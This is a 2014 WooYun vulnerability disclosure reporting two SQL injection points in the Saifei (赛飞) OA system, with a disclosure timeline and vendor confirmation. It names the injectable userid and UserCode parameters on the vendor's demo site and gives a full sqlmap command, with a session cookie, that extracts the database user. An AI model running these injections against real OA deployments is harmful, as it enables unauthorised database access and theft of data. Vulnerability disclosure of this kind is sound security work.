当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-079612

漏洞标题：赛飞OA系统前台注入两枚

相关厂商：赛飞软件

漏洞作者： D_in

提交时间：2014-10-22 18:58

修复时间：2014-12-06 19:00

公开时间：2014-12-06 19:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-22： 细节已通知厂商并且等待厂商处理中
2014-10-27： 厂商已经确认，细节仅向厂商公开
2014-11-06： 细节向核心白帽子及相关领域专家公开
2014-11-16： 细节向普通白帽子公开
2014-11-26： 细节向实习白帽子公开
2014-12-06： 细节向公众公开

简要描述：

官网demo注入成功

详细说明：

官网：http://www.slssoft.com/
百度百科：http://baike.baidu.com/view/5222614.htm?fr=aladdin
官网demo：http://oa.isoffice.cn/
客户众多：http://www.slssoft.com/Web/Index/WebDetail/customer
第一处注入点发生在在线排名处
userid存在注入

第一1.png


数据库版本

第一2.png


丢到sqlmap去跑
当前用户名sa

sqlmap -u http://oa.isoffice.cn/syssetinfo/statusrecordpage.aspx?userid=test --cookie 
"ASP.NET_SessionId=idkbyvv1k42vwe4luldbxxdw; UserName=dGVzdA%3D%3D%26; UserPwd=c29mZmljZQ%3D%3D%26; SFOAUserCode=test; SFOAUserName=%b2%e2%ca%d4%d3%c3%bb%a7; SFOADeptName=%be%ad%c0%ed%b0%ec; SFOADeptID=1; SFOAWorker=%d7%dc%be%ad%c0%ed; SFOARoleID=81; SFOASysManager=; SFOAStyle=new; SFOAUserIkey=false; SFOAHeadColorR=198;SFOAHeadColorG=198; SFOAHeadColorB=198; SFOAMidColor=%23f0f0f0; SFOAMoveColor=%23e7e7e7; SFOAIPAddress=xxx.xxx.xxx.xxx; PageIndex=1; OrderInfo=; SFOA16Color=%23c6c6c6"  --current-user


1-当前用户名.PNG


当前数据库名

1-当前数据库.PNG


表名

1-表名.PNG


第二个注入点发生在博客浏览处
查看某个用户的文章
BrowBlogList.aspx?UserCode＝test
UserCode存在注入

QQ截圖20141016153329.png


爆出数据库版本

QQ截圖20141016153519.png


当前用户名

QQ截圖20141016153734.png

漏洞证明：

数据库版本

QQ截圖20141016153519.png


数据库用户名

QQ截圖20141016153734.png

修复方案：

版权声明：转载请注明来源 D_in@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-10-27 09:59

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-11-16 17:45 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    需要登录的我觉得没有任何意思~--cookie